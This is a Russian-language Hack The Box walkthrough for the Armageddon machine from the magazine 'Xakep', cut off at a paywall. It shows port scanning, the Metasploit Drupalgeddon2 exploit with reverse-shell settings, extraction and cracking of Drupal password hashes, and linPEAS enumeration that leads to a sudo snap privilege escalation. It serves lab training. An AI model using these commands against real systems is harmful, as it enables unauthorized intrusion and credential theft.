warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Адрес машины — 10.10.10.233, не забываем добавить его в /
и присвоим имя armageddon.
.
И сразу же сканируем порты. Привожу свой традиционный скрипт, основанный на Nmap:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
По результатам сканирования имеем два открытых порта: 22 (служба SSH) и 80 (веб‑сервер Apache).
Нашли веб‑сервер — сразу же идем смотреть, что за сайт на нем развернут.
Нас встречает Drupal — одна из популярнейших систем управления контентом (CMS). В ней наверняка найдутся известные уязвимости.
Точка входа: Drupal
Для Drupal также есть специальное средство сканирования, которое поможет найти уязвимости, — droopescan. Установим программу и выполним сканирование в 32 потока.
git clone https://github.com/droope/droopescan.git
cd droopescan
pip install -r requirements.txt
python3 droopescan scan drupal -u http://armageddon.htb -t 32
Droopescan нашел установленные плагины, темы и вероятную версию CMS. Первым делом стоит проверить, есть ли для обнаруженной версии готовые эксплоиты. Надежнее всего искать при помощи Google, а также на специализированных сайтах — HackerOne, Exploit-DB и GitHub.
Но если ты пользуешься Kali, то Exploit-DB у тебя уже есть и в данном случае достаточно запустить утилиту searchsploit, чтобы найти сразу несколько эксплоитов.
searchsploit Drupal
Видим, что хост содержит известную уязвимость Drupalgeddon 2, что даст нам удаленное выполнение кода (RCE). Пометка Metasploit означает, что эксплоит уже реализован для Metasploit Framework, и, так как это удобнее, будем использовать его.
info
Подробный анализ принципов работы уязвимости читай в статье «Друпалгеддон-2. Подробно разбираем новую уязвимость в Drupal».
Точка опоры
Когда необходимый модуль найден, стоит глянуть, какие ему нужно задавать параметры (команда show
).
Таким образом, следует указать целевой хост для атаки, а также адрес локального хоста и порт для обратного подключения.
use exploit/unix/webapp/drupal_drupalgeddon2set RHOSTS armageddon.htbset LHOST 10.10.14.86set LPORT 80run
И мы получаем оболочку, где можем выполнять команды на удаленном хосте. Правда, пока только в контексте учетной записи пользователя‑службы.
Продвижение
Так как на хосте развернут веб‑сервер, а на нем работает даже целая CMS, то первое наше действие — попробовать получить какие‑нибудь учетные данные пользователей. Высока вероятность, что эти учетки подойдут и для локальных пользователей в системе. В случае с Drupal есть место, где учетные данные есть всегда, — файл с настройками для подключения к базе данных default/
.
Эти учетные данные позволяют подключиться к базе данных и получить другие критические данные пользователей. Сперва командой shell
получим командную оболочку на удаленной машине, после чего выполним подключение к базе данных MySQL с полученными учетными данными.
mysql -u drupaluser -h localhost -p
В случае с Drupal нас интересуют данные из таблицы users
базы drupal
.
use drupal;select name,pass from users;show;
Находим хеш пароля пользователя brucetherealadmin
. А как мы узнаем из файла /
, данный пользователь является системным.
Давай переберем этот пароль с помощью hashcat. Сначала узнаем, какой режим использовать, а потом передадим его номер через параметр -m
.
hashcat --example | grep -A2 -B2 '$S'hashcat -m 7900 -a 0 hash.txt ../tools/rockyou.txt
Мы успешно перебираем полученный хеш и узнаем пароль пользователя. И после подключения по SSH забираем первый флаг.
Локальное повышение привилегий
Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Источников информации очень много, и, чтобы не перебирать их вручную, я обычно использую скрипты PEASS. Они автоматически проходят систему в поисках зацепок для повышения привилегий. Загрузим на локальный хост скрипт для Linux.
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
Теперь нужно загрузить его на удаленный хост. Для этого можно использовать стандартные средства SSH. После загрузки необходимо дать право на выполнение и выполнить скрипт.
scp ../tools/linpeas.sh brucetherealadmin@armageddon.htb:/tmp/
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh
Видим, что мы можем зацепиться за настройки sudoers (sudo
). Пользователь brucetherealadmin
без ввода пароля может выполнить следующую команду в привилегированном контексте:
/usr/bin/snap install *
Snap — это система управления и распределения пакетов, созданная в Canonical (разработчик Ubuntu). Сами пакеты Snap представляют собой заранее скомпилированные вместе со всеми зависимостями и библиотеками приложения, которые затем исполняются в изолированной среде. Они легче и быстрее устанавливаются, могут получать последние обновления, а также более безопасны с точки зрения доступа к операционной системе и важным файлам.
Но все же приложения могут получать доступ к хосту при работе в режиме devmode. Snap использует Linux-сокет AF_UNIX
, который необходим для связи между процессами на одном компьютере. Для него установлены права 0666, что позволяет любому процессу подключаться и взаимодействовать с этим сокетом.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»